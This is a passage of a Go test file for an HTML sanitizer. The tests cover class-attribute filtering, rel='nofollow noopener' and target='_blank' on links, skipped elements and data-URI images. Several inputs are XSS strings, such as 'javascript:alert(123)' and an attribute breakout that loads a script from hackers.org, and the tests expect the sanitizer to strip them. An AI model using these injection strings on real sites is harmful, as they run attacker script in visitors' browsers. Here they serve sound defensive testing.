1255			expected: `Hello <span class="foo bar bash">there</span> world.`,
1256		},
1257		{
1258			in:       `Hello <span class="javascript:alert(123)">there</span> world.`,
1259			expected: `Hello <span>there</span> world.`,
1260		},
1261		{
1262			in:       `Hello <span class="><script src="http://hackers.org/XSS.js"></script>">there</span> world.`,
1263			expected: `Hello <span>&#34;&gt;there</span> world.`,
1264		},
1265		{
1266			in:       `Hello <span class="><script src='http://hackers.org/XSS.js'></script>">there</span> world.`,
1267			expected: `Hello <span>there</span> world.`,
1268		},
1269	}
1270
1271	wg := sync.WaitGroup{}
1272	wg.Add(len(tests))
1273	for ii, tt := range tests {
1274		go func(ii int, tt test) {
1275			out := p.Sanitize(tt.in)
1276			if out != tt.expected {
1277				t.Errorf(
1278					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1279					ii,
1280					tt.in,
1281					out,
1282					tt.expected,
1283				)
1284			}
1285			wg.Done()
1286		}(ii, tt)
1287	}
1288	wg.Wait()
1289}
1290
1291func TestIssue9(t *testing.T) {
1292
1293	p := UGCPolicy()
1294	p.AllowAttrs("class").Matching(SpaceSeparatedTokens).OnElements("div", "span")
1295	p.AllowAttrs("class", "name").Matching(SpaceSeparatedTokens).OnElements("a")
1296	p.AllowAttrs("rel").Matching(regexp.MustCompile(`^nofollow$`)).OnElements("a")
1297	p.AllowAttrs("aria-hidden").Matching(regexp.MustCompile(`^true$`)).OnElements("a")
1298	p.AllowDataURIImages()
1299
1300	tt := test{
1301		in:       `<h2><a name="git-diff" class="anchor" href="#git-diff" rel="nofollow" aria-hidden="true"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1302		expected: `<h2><a name="git-diff" class="anchor" href="#git-diff" rel="nofollow" aria-hidden="true"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1303	}
1304	out := p.Sanitize(tt.in)
1305	if out != tt.expected {
1306		t.Errorf(
1307			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1308			tt.in,
1309			out,
1310			tt.expected,
1311		)
1312	}
1313
1314	tt = test{
1315		in:       `<h2><a name="git-diff" class="anchor" href="#git-diff" aria-hidden="true"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1316		expected: `<h2><a name="git-diff" class="anchor" href="#git-diff" aria-hidden="true" rel="nofollow"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1317	}
1318	out = p.Sanitize(tt.in)
1319	if out != tt.expected {
1320		t.Errorf(
1321			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1322			tt.in,
1323			out,
1324			tt.expected,
1325		)
1326	}
1327
1328	p.AddTargetBlankToFullyQualifiedLinks(true)
1329
1330	tt = test{
1331		in:       `<h2><a name="git-diff" class="anchor" href="#git-diff" aria-hidden="true"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1332		expected: `<h2><a name="git-diff" class="anchor" href="#git-diff" aria-hidden="true" rel="nofollow"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1333	}
1334	out = p.Sanitize(tt.in)
1335	if out != tt.expected {
1336		t.Errorf(
1337			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1338			tt.in,
1339			out,
1340			tt.expected,
1341		)
1342	}
1343
1344	tt = test{
1345		in:       `<h2><a name="git-diff" class="anchor" href="https://github.com/shurcooL/github_flavored_markdown/blob/master/sanitize_test.go" aria-hidden="true"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1346		expected: `<h2><a name="git-diff" class="anchor" href="https://github.com/shurcooL/github_flavored_markdown/blob/master/sanitize_test.go" aria-hidden="true" rel="nofollow noopener" target="_blank"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1347	}
1348	out = p.Sanitize(tt.in)
1349	if out != tt.expected {
1350		t.Errorf(
1351			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1352			tt.in,
1353			out,
1354			tt.expected,
1355		)
1356	}
1357
1358	tt = test{
1359		in:       `<h2><a name="git-diff" class="anchor" href="https://github.com/shurcooL/github_flavored_markdown/blob/master/sanitize_test.go" aria-hidden="true" target="namedwindow"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1360		expected: `<h2><a name="git-diff" class="anchor" href="https://github.com/shurcooL/github_flavored_markdown/blob/master/sanitize_test.go" aria-hidden="true" rel="nofollow noopener" target="_blank"><span class="octicon octicon-link"></span></a>git diff</h2>`,
1361	}
1362	out = p.Sanitize(tt.in)
1363	if out != tt.expected {
1364		t.Errorf(
1365			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1366			tt.in,
1367			out,
1368			tt.expected,
1369		)
1370	}
1371}
1372
1373func TestIssue18(t *testing.T) {
1374	p := UGCPolicy()
1375
1376	p.AllowAttrs("color").OnElements("font")
1377	p.AllowElements("font")
1378
1379	tt := test{
1380		in:       `<font face="Arial">No link here. <a href="http://link.com">link here</a>.</font> Should not be linked here.`,
1381		expected: `No link here. <a href="http://link.com" rel="nofollow">link here</a>. Should not be linked here.`,
1382	}
1383	out := p.Sanitize(tt.in)
1384	if out != tt.expected {
1385		t.Errorf(
1386			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1387			tt.in,
1388			out,
1389			tt.expected)
1390	}
1391}
1392
1393func TestIssue23(t *testing.T) {
1394	p := NewPolicy()
1395	p.SkipElementsContent("tag1", "tag2")
1396	input := `<tag1>cut<tag2></tag2>harm</tag1><tag1>123</tag1><tag2>234</tag2>`
1397	out := p.Sanitize(input)
1398	expected := ""
1399	if out != expected {
1400		t.Errorf(
1401			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1402			input,
1403			out,
1404			expected)
1405	}
1406
1407	p = NewPolicy()
1408	p.SkipElementsContent("tag")
1409	p.AllowElements("p")
1410	input = `<tag>234<p>asd</p></tag>`
1411	out = p.Sanitize(input)
1412	expected = ""
1413	if out != expected {
1414		t.Errorf(
1415			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1416			input,
1417			out,
1418			expected)
1419	}
1420
1421	p = NewPolicy()
1422	p.SkipElementsContent("tag")
1423	p.AllowElements("p", "br")
1424	input = `<tag>234<p>as<br/>d</p></tag>`
1425	out = p.Sanitize(input)
1426	expected = ""
1427	if out != expected {
1428		t.Errorf(
1429			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1430			input,
1431			out,
1432			expected)
1433	}
1434}
1435
1436func TestAllowNoAttrs(t *testing.T) {
1437	input := "<tag>test</tag>"
1438	outputFail := "test"
1439	outputOk := input
1440
1441	p := NewPolicy()
1442	p.AllowElements("tag")
1443
1444	if output := p.Sanitize(input); output != outputFail {
1445		t.Errorf(
1446			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1447			input,
1448			output,
1449			outputFail,
1450		)
1451	}
1452
1453	p.AllowNoAttrs().OnElements("tag")
1454
1455	if output := p.Sanitize(input); output != outputOk {
1456		t.Errorf(
1457			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1458			input,
1459			output,
1460			outputOk,
1461		)
1462	}
1463}
1464
1465func TestSkipElementsContent(t *testing.T) {
1466	input := "<tag>test</tag>"
1467	outputFail := "test"
1468	outputOk := ""
1469
1470	p := NewPolicy()
1471
1472	if output := p.Sanitize(input); output != outputFail {
1473		t.Errorf(
1474			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1475			input,
1476			output,
1477			outputFail,
1478		)
1479	}
1480
1481	p.SkipElementsContent("tag")
1482
1483	if output := p.Sanitize(input); output != outputOk {
1484		t.Errorf(
1485			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1486			input,
1487			output,
1488			outputOk,
1489		)
1490	}
1491}
1492
1493func TestTagSkipClosingTagNested(t *testing.T) {
1494	input := "<tag1><tag2><tag3>text</tag3></tag2></tag1>"
1495	outputOk := "<tag2>text</tag2>"
1496
1497	p := NewPolicy()
1498	p.AllowElements("tag1", "tag3")
1499	p.AllowNoAttrs().OnElements("tag2")
1500
1501	if output := p.Sanitize(input); output != outputOk {
1502		t.Errorf(
1503			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1504			input,
1505			output,
1506			outputOk,
1507		)
1508	}
1509}
1510
1511func TestAddSpaces(t *testing.T) {
1512	p := UGCPolicy()
1513	p.AddSpaceWhenStrippingTag(true)
1514
1515	tests := []test{
1516		{
1517			in:       `<foo>Hello</foo><bar>World</bar>`,
1518			expected: ` Hello  World `,
1519		},
1520		{
1521			in:       `<p>Hello</p><bar>World</bar>`,
1522			expected: `<p>Hello</p> World `,
1523		},
1524		{
1525			in:       `<p>Hello</p><foo /><p>World</p>`,
1526			expected: `<p>Hello</p> <p>World</p>`,
1527		},
1528	}
1529
1530	// These tests are run concurrently to enable the race detector to pick up
1531	// potential issues
1532	wg := sync.WaitGroup{}
1533	wg.Add(len(tests))
1534	for ii, tt := range tests {
1535		go func(ii int, tt test) {
1536			out := p.Sanitize(tt.in)
1537			if out != tt.expected {
1538				t.Errorf(
1539					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1540					ii,
1541					tt.in,
1542					out,
1543					tt.expected,
1544				)
1545			}
1546			wg.Done()
1547		}(ii, tt)
1548	}
1549	wg.Wait()
1550}
1551
1552func TestTargetBlankNoOpener(t *testing.T) {
1553	p := UGCPolicy()
1554	p.AddTargetBlankToFullyQualifiedLinks(true)
1555	p.AllowAttrs("target").Matching(Paragraph).OnElements("a")
1556
1557	tests := []test{
1558		{
1559			in:       `<a href="/path" />`,
1560			expected: `<a href="/path" rel="nofollow"/>`,
1561		},
1562		{
1563			in:       `<a href="/path" target="_blank" />`,
1564			expected: `<a href="/path" target="_blank" rel="nofollow noopener"/>`,
1565		},
1566		{
1567			in:       `<a href="/path" target="foo" />`,
1568			expected: `<a href="/path" target="foo" rel="nofollow"/>`,
1569		},
1570		{
1571			in:       `<a href="https://www.google.com/" />`,
1572			expected: `<a href="https://www.google.com/" rel="nofollow noopener" target="_blank"/>`,
1573		},
1574		{
1575			in:       `<a href="https://www.google.com/" target="_blank"/>`,
1576			expected: `<a href="https://www.google.com/" target="_blank" rel="nofollow noopener"/>`,
1577		},
1578		{
1579			in:       `<a href="https://www.google.com/" rel="nofollow"/>`,
1580			expected: `<a href="https://www.google.com/" rel="nofollow noopener" target="_blank"/>`,
1581		},
1582		{
1583			in:       `<a href="https://www.google.com/" rel="noopener"/>`,
1584			expected: `<a href="https://www.google.com/" rel="nofollow noopener" target="_blank"/>`,
1585		},
1586		{
1587			in:       `<a href="https://www.google.com/" rel="noopener nofollow" />`,
1588			expected: `<a href="https://www.google.com/" rel="nofollow noopener" target="_blank"/>`,
1589		},
1590		{
1591			in:       `<a href="https://www.google.com/" target="foo" />`,
1592			expected: `<a href="https://www.google.com/" target="_blank" rel="nofollow noopener"/>`,
1593		},
1594	}
1595
1596	// These tests are run concurrently to enable the race detector to pick up
1597	// potential issues
1598	wg := sync.WaitGroup{}
1599	wg.Add(len(tests))
1600	for ii, tt := range tests {
1601		go func(ii int, tt test) {
1602			out := p.Sanitize(tt.in)
1603			if out != tt.expected {
1604				t.Errorf(
1605					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1606					ii,
1607					tt.in,
1608					out,
1609					tt.expected,
1610				)
1611			}
1612			wg.Done()
1613		}(ii, tt)
1614	}
1615	wg.Wait()
1616}
1617
1618func TestIssue51(t *testing.T) {
1619	// Whitespace in URLs is permitted within HTML according to:
1620	// https://dev.w3.org/html5/spec-LC/urls.html#parsing-urls
1621	//
1622	// We were aggressively rejecting URLs that contained line feeds but these
1623	// are permitted.
1624	//
1625	// This test ensures that we do not regress that fix.
1626	p := NewPolicy()
1627	p.AllowImages()
1628	p.AllowDataURIImages()
1629
1630	input := `<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABICAIAAADajyQQAAAAhnpUWHRSYXcgcHJvZmlsZSB0eXBlIGV4aWYAAHjadY5LCsNADEP3c4oewb+R7eOUkEBv0OPXZpKmm76FLIQRGvv7dYxHwyTDpgcSoMLSUp5lghZKxELct3RxXuVycsdDZRlkONn9aGd+MRWBw80dExs2qXbZlTVKu6hbqWfkT8l30Z/8WvEBQsUsKBcOhtYAAAoCaVRYdFhNTDpjb20uYWRvYmUueG1wAAAAAAA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJYTVAgQ29yZSA0LjQuMC1FeGl2MiI+CiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIKICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIgogICBleGlmOlBpeGVsWERpbWVuc2lvbj0iNzIiCiAgIGV4aWY6UGl4ZWxZRGltZW5zaW9uPSI3MiIKICAgdGlmZjpJbWFnZVdpZHRoPSI3MiIKICAgdGlmZjpJbWFnZUhlaWdodD0iNzIiCiAgIHRpZmY6T3JpZW50YXRpb249IjEiLz4KIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pq6cYi8AAAADc0JJVAgICNvhT+AAAAN7SURBVGje7dtRSBNhHADwfxJ3L96Le0kf1GD1sBDyO5ALbEkyMyY9bHswg+FDW5B7EKVhJSeElrQUcRIkFFHoi0toPriEVi8KbUQxKSYNk8HpYE5ot4e7e/l68NT08aTp6v9/25+P7+O3/3d3H3ffB7RooSSH7IQQYu0KS4qeeeEWyHbY+qLZvbbZiEcghBBHIJ43NhrQ4oYiRUU7sQ0lFJqPizbBEViUFCWfnOmyCp4ZaV/bfHLKIwiecLYUYJTSbLid2ALJX/E+q7VnUdGz0pSDOKakA39DQrQSd8RI0cqgCLEe8rZ55zb1X5oKwLAMywJoANpOI4ZhAEBdHnA6B5ZVPalqwHCckTGLAqvi69jPwZF36yrIK6GR4NrZjrbTbK2ziVsaeba0CaD+nAtOrtU6m6rY2qbazYWH08syqOtLwUcfoamjzpCsSPNPigy5bYQQIti7xuP6VaOshsV26052Uc/mE1M9DoEQQmxuMbyqGBvwBKUU/sUog380EIYwhCEMYQhD2DGMk4VCASuGMIQhDGEIQ9hxe0Af5eDyj7ejw5PRVAGgwnLNJ/qaK+HTnRZ/bF8rc9/s86umEoKpXyb8E+nWx7NP65nM+9HuB/5T5tc3zouzs/q7Ri0d6vdHLb5GU2lNxa0txuLq6aw3scDVNHZcrsjE0jKwnEmPQnQiVLg26KvnSmwqVjb3DjXvVC8djRVOtVbvGTbmh19utY55z7Cle/NQN94/8IcYl+iq2U19m55Mmb2d51ijnR45TP7yrPvmaME1NnZrrzjy1+mo1tBp6OI6DndF2Ji/f3s03Si+6r34p0FNRb5q50ULd4iuj7Bi8reR7uFUgzjYYYFcLpfL5WT9I0sm9l2rbjQfxnWEFcvFJsIZgEi/O3LgiaVmUluMubr8UN2fkGUZl1QIQxjCEIYwhCEMYYdbUuE+D4QhDGEIQxjC/luYvBK667zE8zx/oc0XXNK3B8vL0716tsX75IOe3fzwxNtyged5vuX6QGhFNThkUfakJ0Sb4H6RyFOqrIZ7rIInmqdUSQbsxDEez+5mI3lKpRm3YOuLSAql2fi4g9gDSUObZ4vy+o2tu/dmATiOBZA1UIEzcQDAMiaO+aPV9nbtKtfkwhWW4wBUWVOh3FTFsce2YnhSAk9K4EmJvxt4UgJPSuCSCmEIQxjCEAYAAL8BrebxGP8KiJcAAAAASUVORK5CYII=" alt="">`
1631	out := p.Sanitize(input)
1632	expected := `<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABICAIAAADajyQQAAAAhnpUWHRSYXcgcHJvZmlsZSB0eXBlIGV4aWYAAHjadY5LCsNADEP3c4oewb+R7eOUkEBv0OPXZpKmm76FLIQRGvv7dYxHwyTDpgcSoMLSUp5lghZKxELct3RxXuVycsdDZRlkONn9aGd+MRWBw80dExs2qXbZlTVKu6hbqWfkT8l30Z/8WvEBQsUsKBcOhtYAAAoCaVRYdFhNTDpjb20uYWRvYmUueG1wAAAAAAA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJYTVAgQ29yZSA0LjQuMC1FeGl2MiI+CiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIKICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIgogICBleGlmOlBpeGVsWERpbWVuc2lvbj0iNzIiCiAgIGV4aWY6UGl4ZWxZRGltZW5zaW9uPSI3MiIKICAgdGlmZjpJbWFnZVdpZHRoPSI3MiIKICAgdGlmZjpJbWFnZUhlaWdodD0iNzIiCiAgIHRpZmY6T3JpZW50YXRpb249IjEiLz4KIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pq6cYi8AAAADc0JJVAgICNvhT+AAAAN7SURBVGje7dtRSBNhHADwfxJ3L96Le0kf1GD1sBDyO5ALbEkyMyY9bHswg+FDW5B7EKVhJSeElrQUcRIkFFHoi0toPriEVi8KbUQxKSYNk8HpYE5ot4e7e/l68NT08aTp6v9/25+P7+O3/3d3H3ffB7RooSSH7IQQYu0KS4qeeeEWyHbY+qLZvbbZiEcghBBHIJ43NhrQ4oYiRUU7sQ0lFJqPizbBEViUFCWfnOmyCp4ZaV/bfHLKIwiecLYUYJTSbLid2ALJX/E+q7VnUdGz0pSDOKakA39DQrQSd8RI0cqgCLEe8rZ55zb1X5oKwLAMywJoANpOI4ZhAEBdHnA6B5ZVPalqwHCckTGLAqvi69jPwZF36yrIK6GR4NrZjrbTbK2ziVsaeba0CaD+nAtOrtU6m6rY2qbazYWH08syqOtLwUcfoamjzpCsSPNPigy5bYQQIti7xuP6VaOshsV26052Uc/mE1M9DoEQQmxuMbyqGBvwBKUU/sUog380EIYwhCEMYQhD2DGMk4VCASuGMIQhDGEIQ9hxe0Af5eDyj7ejw5PRVAGgwnLNJ/qaK+HTnRZ/bF8rc9/s86umEoKpXyb8E+nWx7NP65nM+9HuB/5T5tc3zouzs/q7Ri0d6vdHLb5GU2lNxa0txuLq6aw3scDVNHZcrsjE0jKwnEmPQnQiVLg26KvnSmwqVjb3DjXvVC8djRVOtVbvGTbmh19utY55z7Cle/NQN94/8IcYl+iq2U19m55Mmb2d51ijnR45TP7yrPvmaME1NnZrrzjy1+mo1tBp6OI6DndF2Ji/f3s03Si+6r34p0FNRb5q50ULd4iuj7Bi8reR7uFUgzjYYYFcLpfL5WT9I0sm9l2rbjQfxnWEFcvFJsIZgEi/O3LgiaVmUluMubr8UN2fkGUZl1QIQxjCEIYwhCEMYYdbUuE+D4QhDGEIQxjC/luYvBK667zE8zx/oc0XXNK3B8vL0716tsX75IOe3fzwxNtyged5vuX6QGhFNThkUfakJ0Sb4H6RyFOqrIZ7rIInmqdUSQbsxDEez+5mI3lKpRm3YOuLSAql2fi4g9gDSUObZ4vy+o2tu/dmATiOBZA1UIEzcQDAMiaO+aPV9nbtKtfkwhWW4wBUWVOh3FTFsce2YnhSAk9K4EmJvxt4UgJPSuCSCmEIQxjCEAYAAL8BrebxGP8KiJcAAAAASUVORK5CYII=" alt="">`
1633	if out != expected {
1634		t.Errorf(
1635			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1636			input,
1637			out,
1638			expected)
1639	}
1640
1641	input = `<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABICAIAAADajyQQAAAAhnpUWHRSYXcgcHJvZmlsZSB0
1642eXBlIGV4aWYAAHjadY5LCsNADEP3c4oewb+R7eOUkEBv0OPXZpKmm76FLIQRGvv7dYxHwyTD
1643pgcSoMLSUp5lghZKxELct3RxXuVycsdDZRlkONn9aGd+MRWBw80dExs2qXbZlTVKu6hbqWfk
1644T8l30Z/8WvEBQsUsKBcOhtYAAAoCaVRYdFhNTDpjb20uYWRvYmUueG1wAAAAAAA8P3hwYWNr
1645ZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/Pgo8eDp4bXBt
1646ZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJYTVAgQ29yZSA0LjQuMC1F
1647eGl2MiI+CiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIv
1648MjItcmRmLXN5bnRheC1ucyMiPgogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAg
1649ICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIKICAgIHhtbG5z
